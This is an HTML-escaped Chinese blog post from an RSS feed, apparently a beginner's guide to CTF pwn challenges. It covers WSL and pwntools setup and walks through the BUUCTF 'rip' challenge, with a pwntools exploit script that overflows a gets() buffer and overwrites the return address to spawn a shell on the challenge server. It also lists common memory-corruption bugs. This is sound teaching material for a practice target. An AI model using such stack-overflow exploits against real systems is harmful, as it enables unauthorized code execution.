&lt;h3&gt;Windows&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;安装WSL2（子系统） &lt;a href=&quot;https://docs.microsoft.com/zh-cn/windows/wsl/install-win10&quot;&gt;https://docs.microsoft.com/zh-cn/windows/wsl/install-win10&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;在WSL中安装Python2 &lt;a href=&quot;https://www.cnblogs.com/dancesir/p/14201267.html&quot;&gt;https://www.cnblogs.com/dancesir/p/14201267.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;在WSL中安装pwntools等库&lt;a href=&quot;https://docs.pwntools.com/en/latest/install.html&quot;&gt;https://docs.pwntools.com/en/latest/install.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;在WSL中安装checksec &lt;a href=&quot;https://www.cnblogs.com/luocodes/p/13894106.html&quot;&gt;https://www.cnblogs.com/luocodes/p/13894106.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;选择一个你喜欢的IDE，强推&lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;VSCode&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h5&gt;在Vscode中配置Pwn中环境&lt;/h5&gt;
&lt;p&gt;安装Remote - WSL插件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img-blog.csdnimg.cn/20210605202817993.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTAwNDUxMw==,size_16,color_FFFFFF,t_70&quot; alt=&quot;11111&quot; /&gt;
即可可切换成Ubuntu终端
&lt;img src=&quot;https://img-blog.csdnimg.cn/20210606012526558.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTAwNDUxMw==,size_16,color_FFFFFF,t_70&quot; alt=&quot;ssss&quot; /&gt;&lt;/p&gt;
&lt;h6&gt;在Vscode中Pwn&lt;/h6&gt;
&lt;p&gt;1.右键-在Vscode中打开文件夹&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img-blog.csdnimg.cn/20210605205021437.png&quot; alt=&quot;在Vscode中打开文件夹&quot; /&gt;
2.左下角点击&amp;gt;&amp;lt;旋转Reopen Folder in WSL （这个尝试过编写exp时没有代码提示，可以在windows上先装python2和pwntools，在windows上编写exp，然后再Linux上运行，即跳过此步骤）
&lt;img src=&quot;https://img-blog.csdnimg.cn/20210605205106771.png&quot; alt=&quot;在这里插入图片描述&quot; /&gt;
&lt;img src=&quot;https://img-blog.csdnimg.cn/20210605205146255.png&quot; alt=&quot;reopen&quot; /&gt;&lt;/p&gt;
&lt;p&gt;3.新建一个exp.py
&lt;img src=&quot;https://img-blog.csdnimg.cn/2021060520552090.png&quot; alt=&quot;exp&quot; /&gt;
4.开始书写你的脚本
&lt;img src=&quot;https://img-blog.csdnimg.cn/20210605205553278.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTAwNDUxMw==,size_16,color_FFFFFF,t_70&quot; alt=&quot;ok&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Pwntools的学习&lt;/h3&gt;
&lt;p&gt;官方文档&lt;a href=&quot;https://docs.pwntools.com/en/latest/intro.html&quot;&gt;https://docs.pwntools.com/en/latest/intro.html&lt;/a&gt;&lt;/p&gt;
&lt;h5&gt;简易快速入门&lt;/h5&gt;
&lt;p&gt;导入Pwntools
&lt;code&gt;from pwn import *&lt;/code&gt;
链接
&lt;code&gt;r = remote(&quot;目标地址str类型&quot;, 目标端口int类型)&lt;/code&gt;与服务器交互
&lt;code&gt;r = process(&quot;目标程序位置&quot;)&lt;/code&gt;与本地程序交互
构造playload之打包
&lt;code&gt;p64(int)&lt;/code&gt;将int类型打包成64位存储
&lt;code&gt;p32(int)&lt;/code&gt;将int类型打包成32位存储
发送
&lt;code&gt;r.sendline(playload)&lt;/code&gt;发送playload为一行（自动在尾部加上\n）
接收
&lt;code&gt;r.recv()&lt;/code&gt;接收到结束
&lt;code&gt;r.recvuntil(end, drop=True)&lt;/code&gt;end(str)接受到end之后截至，drop=True时不包括end，drop=False时包括end
打开交互
&lt;code&gt;r.interactive()&lt;/code&gt;一般在末尾都要加&lt;/p&gt;
&lt;h1&gt;Pwn的做题流程&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;使用checksec检查ELF文件保护开启的状态&lt;/li&gt;
&lt;li&gt;IDApro逆向分析程序漏洞（逻辑复杂的可以使用动态调试）&lt;/li&gt;
&lt;li&gt;编写python的exp脚本进行攻击&lt;/li&gt;
&lt;li&gt;（若攻击不成功）进行GDB动态调试，查找原因&lt;/li&gt;
&lt;li&gt;（若攻击成功）获取flag，编写Writeup
注：此做题流程并不完全概括，需要具体情况具体分析&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Pwn的简单例子&lt;/h1&gt;
&lt;p&gt;题目来源&lt;a href=&quot;https://buuoj.cn/challenges#rip&quot;&gt;【BUUCTF PWN】rip&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;checksec&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://img-blog.csdnimg.cn/20210605215004844.png&quot; alt=&quot;在这里插入图片描述&quot; /&gt;
64位，导入IDA 64，找到main函数，按F5或是Tab&lt;/p&gt;
&lt;h3&gt;分析函数及漏洞&lt;/h3&gt;
&lt;h5&gt;main函数&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://img-blog.csdnimg.cn/20210606001412491.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTAwNDUxMw==,size_16,color_FFFFFF,t_70&quot; alt=&quot;main&quot; /&gt;
main函数中存在gets(无限读入字符串漏洞)，没有开canary可以自由栈溢出
双击s变量，进入main函数栈区
&lt;img src=&quot;https://img-blog.csdnimg.cn/20210606002336319.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTAwNDUxMw==,size_16,color_FFFFFF,t_70&quot; alt=&quot;stack&quot; /&gt;
发现s参数位置距离main函数返回地址距离是0xF+0x8个字节
（位于000000000处的s是存上一个ebp的值，用于恢复上一个函数，位于0000000008处的r是这个函数的返回地址）
只需要覆盖返回地址r，使它变成我们想要的函数地址，就可以劫持程序，让程序执行完main就执行我们想要的函数（这个题目就是fun函数）。&lt;/p&gt;
&lt;h5&gt;fun函数&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://img-blog.csdnimg.cn/20210606001433970.png&quot; alt=&quot;fun&quot; /&gt;
system函数可以执行命令，/bin/sh是执行Linux的命令行程序，也就是可以getshell（提权）
按Tab+Space
&lt;img src=&quot;https://img-blog.csdnimg.cn/20210606002958267.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTAwNDUxMw==,size_16,color_FFFFFF,t_70&quot; alt=&quot;aa&quot; /&gt;
查看fun函数的开始地址（图中0x0401186位置）&lt;/p&gt;
&lt;h3&gt;编写exp&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

r = process(&apos;./pwn1&apos;) # 调试时使用本地链接

p1 = &quot;a&quot;*(0xf + 0x8) + p64(0x0401186) 
# 覆盖到r前面之后，将0x0401186打包，覆盖main函数返回地址

r.sendline(p1) # 发送playload

r.interactive() # 开启交互
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行
&lt;img src=&quot;https://img-blog.csdnimg.cn/202106060037015.png&quot; alt=&quot;000&quot; /&gt;
并没有打通
需要平衡栈帧（初学可以跳过这个，直接记住结论）
即需要多return一次
x86汇编中 ret的指令类似于 先pop（弹出）一个值然后jmp（跳转）到这个值的位置继续执行
所以寻找一个ret的地址
&lt;img src=&quot;https://img-blog.csdnimg.cn/20210606004505446.png&quot; alt=&quot;ret&quot; /&gt;
在main函数的结尾就有个retn
故修改exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

r = process(&apos;./pwn1&apos;) # 调试时使用本地链接

p1 = &quot;a&quot;*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186) 
# 覆盖到r前面之后，先覆盖main函数返回地址为retn，再将0x0401186打包，覆盖retn的返回地址

r.sendline(p1) # 发送playload

r.interactive() # 开启交互
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://img-blog.csdnimg.cn/20210606004624249.png&quot; alt=&quot;show&quot; /&gt;
发现&lt;code&gt;ls&lt;/code&gt;(linux中查看当前文件夹内容的命令)命令可以执行
再修改exp链接靶机&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

r = remote(&quot;node3.buuoj.cn&quot;, 29885) # 正式攻击时与靶机交互
# r = process(&apos;./pwn1&apos;)

p1 = &quot;a&quot;*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186)

r.sendline(p1)

r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再次运行
&lt;img src=&quot;https://img-blog.csdnimg.cn/20210606005015347.png&quot; alt=&quot;sss&quot; /&gt;
获取flag
&lt;code&gt;cat&lt;/code&gt;(linux中直接输出文件内容的命令)
到此就可以庆祝一下提交flag了&lt;/p&gt;
&lt;h3&gt;编写Writeup&lt;/h3&gt;
&lt;p&gt;提交完flag之后别忘了编写Writeup，Writeup是指记录解题思路的文档，一个小队开一个公共编辑的文档，一旦做出来题目就要将解题思路、exp、部分截图写入文档，因为一般赛事最后需要提交Writeup，以确保你不是py得到的flag&lt;/p&gt;
&lt;h1&gt;Pwn的常见漏洞&lt;/h1&gt;
&lt;h3&gt;栈溢出&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;gets();&lt;/code&gt;无限字符读入\n停止&lt;/li&gt;
&lt;li&gt;&lt;code&gt;scanf(&quot;%s&quot;);&lt;/code&gt;无限字符读入\n停止&lt;/li&gt;
&lt;li&gt;&lt;code&gt;read(0,buf,0x200);&lt;/code&gt;buf位置到返回地址距离小于0x200&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;数组下标溢出&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;没有判断上界或下界，配合读入或输出，可以任意位置读入或输出&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;格式化字符串&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;主要利用&lt;code&gt;printf&lt;/code&gt;的格式化字符串漏洞，实现栈区内读写&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;堆利用&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;UAF(Use After Free)&lt;/li&gt;
&lt;li&gt;劫持__malloc_hook&lt;/li&gt;
&lt;li&gt;修改__IO_1_2_stdout&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;小结&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;学习Pwn不仅有利于网安方向的同学，还有利于搞开发等同学，因为可以接触更加底层的东西，提高自己网络安全意识&lt;/li&gt;
&lt;li&gt;刚开始学习Pwn是摸着黑，照猫画虎的，只有不断的理解原理才能独立想出解题方法&lt;/li&gt;
&lt;li&gt;为什么不使用Python3？因为这是个坑，我刚开始尝试的是后就因为python3多了个bytes类型，导致p64()的结果不能直接与str相加，而其中有很多不可见字符，最终放弃了Python3。Python2中bytes值以str形式存储的可以直接与str相加。&lt;/li&gt;
&lt;li&gt;Pwn的世界错综复杂，我依然还在摸索，一起加油。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item></channel></rss>